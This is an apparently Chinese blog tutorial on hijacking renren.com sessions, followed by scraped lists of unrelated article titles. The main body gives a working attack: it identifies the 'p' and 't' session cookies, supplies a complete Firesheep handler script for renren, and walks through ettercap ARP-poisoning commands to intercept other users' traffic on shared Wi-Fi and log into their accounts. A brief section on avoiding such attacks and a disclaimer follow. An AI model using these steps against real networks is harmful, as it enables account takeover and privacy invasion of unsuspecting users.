一.首先还是介绍下劫持原理:

web验证通常分为如下几步,校内也是这样:

1.你登录renren.com输入用户名和密码,点登录

2.服务器对你提交的ID和密码进行验证,匹配后将一些独特的cookie返回给你的浏览器

3.你用你的人人发布状态,查看别人页面时,浏览器将首先发送cookie以向服务器表明身份

4.服务器完成cookie验证,完成你所期望的动作.

步骤上来看很完善,但是有一个底层的问题,那就是用户和服务器之间的通信是否加密,如果没有加密,那么第三方会很容易截取到用户的数据包,伪装成真实用户与服务器通信.

就人人网来说,安全做的就是一坨狗屎.

1.最最基本的要求是,网站应该对用户登录页面改用HTTPs进行通信,这时,你提交的用户名和密码会经过加密后传输给服务器,别人即使截取到你的数据包也无法看到你的用户名和密码.但是人人网没有,你输入的用户名和密码是明文发送给服务器的,不相信话你可以随便找个抓包软件看看.

2.不仅是用户登录需要加密,cookie发送也需要加密.在Firesheep发布之前,即使是Google,facebook这些网站也没有做到这一点.人人网更不用说了....这样,通过截取到别人的cookie,你就可以直接登录他人的校内了.这个就是本文将介绍的过程.

有个很自然的疑问,我在上网,别人怎么会获取到我的数据包呢?如果你用有线网的话当然问题不大,但是很多地方是大家通过一个无线路由器进行上网的,无线路由器在工作过程中会将数据包发散到整个空间中,任何一个网卡都可以获取这些数据.这就给某些人留下了机会.正常情况下,网卡会将不属于自己的数据包丢掉.但是可以利用特殊的软件保存那些本应该发送给别人的数据包,从中可以分析出相关的隐私数据,常见的工具就是pCap,在windows下叫做WinpCap.

这样,原理就清楚了:首先利用pCap一类工具截获别人的数据包;然后从中分析出他人的人人网cookie;然后就是直接登录别人的人人网.整个过程中并不需要知道用户名和密码.

二.环境说明:

Ubuntu10.10 Firefox3.6 Chrome10 Firesheep ettercap

解释:因为Windows对网卡进行了封装,所以抓包功能不如Linux和Mac强大,我首先在Windows7的系统上实验就失败了.

Firesheep是Firefox的一个插件,自然需要安装Firefox了.

Chrome用来分析网站的cookie信息.

Firesheep是主力,在Ubuntu10.10下的安装请参考http://blog.csdn.net/anchor89/archive/2011/04/04/6301948.aspx

ettercap:协助抓包的软件,安装方法也在上面的链接中.

三.步骤:

1.分析renren.com的cookie

打开Chrome,安装名为Edit This Cookie的插件.之后登录你的人人网账户,点击Edit This Cookie的图标就可以看到renren.com给你返回的cookie内容.将这些cookie逐个删除,并做好记录,每删除一个就刷新一下页面,直到某次刷新后提示你重新登录为止.这就说明用于身份验证的cookie都被你删除过了,在删除过的cookie里面重新进行测试,直到确定具体是哪个用于身份验证为止.要注意的是,用于身份验证的可能不止一个,这就需要更复杂的配对测试了.

最终发现,renren.com用于身份验证的cookie有两个,名字分别是p和t.

Chrome可以关闭了.

2.配置Firesheep Script

打开Firefox,然后打开Firesheep的配置页面,找到website选项卡,点击add按钮添加一个新项,起名为renren,双击之,会出现一个js编辑页面.

将里面的内容替换为如下脚本:

register({ // FOR http://www.renren.com/ name: 'renren.com', //the name that will show up in the Firesheep sidebar url: 'http://www.renren.com/', //the website url that Firesheep will match on domains: [ 'renren.com' ], //the actual domain that Firesheep will look for in the request sessionCookieNames: [ 'p', 't' ], //a list of cookie key names that firesheep will intercept and send on //your behalf (this should be the list of cookies you noted in the previous step) identifyUser: function() { //Firesheep can make a request to discover some information about the cookie (username and avatar) for the buddy list var site = this.httpGet(this.siteUrl); //this will pull down a page that contains the value for the username and avatar this.userName = site.body.querySelector('a.name').innerHTML; //use a query selector to pull out the username from the page (optional) // this.userAvatar = resp.body.querySelector('div.figure').src; //another query selector to grab the image (optional) } });

其中 identifyUser: function()之前是用于配置cookie,设置url等工作,这些工作是必不可少的.

identifyUser: function()内部的this.UserName和this.userAvastar两条赋值语句是用于设置显示捕获到的cookie所对应的账户名和头像,直接注释掉也不影响工作.

替换完成后关闭即可.

3.设置ettercap

打开一个终端,输入

sudo ettercap -G

打开后依次执行如下菜单命令:

Sniffing > Unified sniffing

Hosts > scan hosts

这时,软件会搜索同一网段下的主机,搜索完成后继续执行:

Hosts > host list

在列表中,将路由器的地址设置为target 1,路由器的地址通常为192.168.1.1,target 2不必设置(根据我的实验,target 1和2都不设置也没关系)

勾选 MITM > arp XXXXXX > remote connection

start > start

此时,网卡就开始抓包了.

4.使用firesheep

打开firefox(如果你刚才关闭了话),点击ctrl + shift + s 打开firesheep侧栏,点击start按钮,然后等待.如果firesheep探测到有人登录renren.com就会自动在侧栏中显示出来,你只要双击相应的图标就可以用直接登录那个人的人人网了.

5.怎样避免自己的账户被别人登录

不要在星巴克这些提供热点的地方登录自己的校内或其他账户,因为这些地方的热点都是不加密的,任何一个心怀不轨的人都可以轻松截取别人的数据包.

宿舍公用无线路由上网的也要小心.使用有线路由没有关系.

如果是连接无线网络后再通过VPN等方法上网不必担心,因为VPN本身是加密的.

=========================

本文仅限于技术交流,请勿利用网络从事非法活动.也希望相关互联网公司尽快改进这些漏洞,给网民创造一个安全无忧的网络环境.

利用Firesheep对人人网(renren.com)进行会话劫持.相关推荐

  1. 爬虫:利用cookie获取人人网登录后网页信息

    爬虫:利用cookie获取人人网登录后网页信息 思路: 1.首先创建一个自动获取登录cookie的实例,创建请求管理器opener 2.分析网页源码,获取登录的form信息,并写入data,访问登录界 ...

  2. WCF技术剖析之五:利用ASP.NET兼容模式创建支持会话(Session)的WCF服务

    原文:WCF技术剖析之五:利用ASP.NET兼容模式创建支持会话(Session)的WCF服务 在<基于IIS的WCF服务寄宿(Hosting)实现揭秘>中,我们谈到在采用基于IIS(或者 ...

  3. 利用memcache来保存tomcat的session会话

    利用memcache来保存tomcat的session会话 网上有大量的文章有写memcache在tomcat的设置方法,基本上都从一个文章里转的,把内容都搞乱了. 为此,写一篇记录一下.本文的主要目 ...

  4. 【XSS漏洞-06】XSS漏洞利用案例(浏览器劫持、会话劫持、GetShell)—基于神器beEF

    目录 1 案例简介 1.1 案例目的 1.2 案例环境 2 案例一:浏览器劫持 2.1 概述 2.2 案例步骤 3 案例二:会话劫持 3.1 概述 3.2 案例步骤 4 案例三:GetShell 4. ...

  5. 【XSS漏洞07】基于神器beEF的XSS漏洞利用实验(浏览器劫持、会话劫持、GetShell)

    目录 1 实验简介 1.1 实验目的 1.2 实验环境 2 实验一:浏览器劫持 2.1 概述 2.2 实验步骤 3 实验二:会话劫持 3.1 概述 3.2 实验步骤 4 实验三:GetShell 4. ...

  6. 【Kali渗透全方位实战】利用Beef进行XSS会话劫持(XSS Stored)

    文章目录 1 会话劫持 2 kali中beef的使用 3 开始渗透 2.1 修改dvwa xss stored等级为low 2.2 script 标签 2.3 过程演示 2.4 会话劫持 2.5 换一 ...

  7. PHP漏洞之session会话劫持

    本文主要介绍针对PHP网站Session劫持.session劫持是一种比较复杂的攻击方法.大部分互联网上的电脑多存在被攻击的危险.这是一种劫持tcp协议的方法,所以几乎所有的局域网,都存在被劫持可能. ...

  8. Web安全实践(13)嗅探,arp欺骗,会话劫持与重放攻击(上)

    前言 (作者:玄魂) 嗅探,arp欺骗,会话劫持与重放攻击之间的关系可谓相辅相成,这次针对web安全把它们放在一起来讲,并探讨一下相关的编程问题.内容比较多,分三节来讲,第一节讲嗅探和会话劫持,第二节 ...

  9. Web安全实践(14)嗅探,arp欺骗,会话劫持与重放攻击(下)

    距离上篇文章已经很长时间了,但是不能留下这个缺憾,所以今天抽时间写了点内容.还是希望更多的高手和朋友参与进web安全的讨论中来.这篇文章重点放在重放攻击的原理解说上. 正文 14.1 什么是重放攻击 ...

最新文章

  1. Java 取得文件名的后缀
  2. SpringBoot - 探究Spring Boot应用是如何通过java -jar 启动的
  3. 2012 Stackoverflow meetup at Shanghai PRC
  4. leetcode 41. First Missing Positive 1
  5. 360浏览器打不开qq空间_网页突然打不开其他软件却能上网?怎么解决?
  6. mongo数据库插入数据_深入研究Mongo数据库
  7. word图片填充之后图片颜色变灰了_一文读懂如何快速实现网页页面变灰?
  8. tomcat中间件的默认端口号_Tomcat下载安装及配置
  9. 《数据科学概论》教材介绍
  10. js调用数科阅读器_js调用后台,后台调用前台等方法总结
  11. 命令创建vue项目工程
  12. 民营企业该如何留住人才
  13. Beautifulsoup提取特定丁香园帖子回复
  14. 外汇交易风险有那些?
  15. php免费利用飞信发送验证码,PHP 使用飞信API发送免费短信示例
  16. 【Flink】(03)Apache Flink 漫谈系列 —— Flink 1.11 Unaligned Checkpoint 解析
  17. 这八个网站,是最有良心的分享,没有之一!
  18. 二分——切绳子(C++)
  19. redis集群报 MOVED 7365 127.0.0.1:7002
  20. Deep-Person: Learning Discriminative Deep Features for Person Re-Identification

热门文章

  1. 装了4亿篇档案的AI和人辩论谁赢了?IBM最强AI辩手首次登上《自然》封面
  2. JSP连接数据库实现注册登录(附带上传头像)
  3. 你可能不知道的JavaScript 遍历DOM的几种方法
  4. 开源的ERP:WebERP
  5. JS -制作随机点名册案例
  6. 【C语言】案例四十六 点名册(二)【strcpy()函数】
  7. 幽默感七个技巧_培养幽默感的16种方法
  8. Matlab笔记_郭彦甫
  9. JS的jsoneditor,用来操作Json格式的界面;json-editor用来根据json数据生成界面
  10. 【Sofice小司笔记】4 Redis,包含nosql,redis架构,8中数据类型,事务,持久化,配置文件详解,发布订阅,集群管理,缓存穿透和雪崩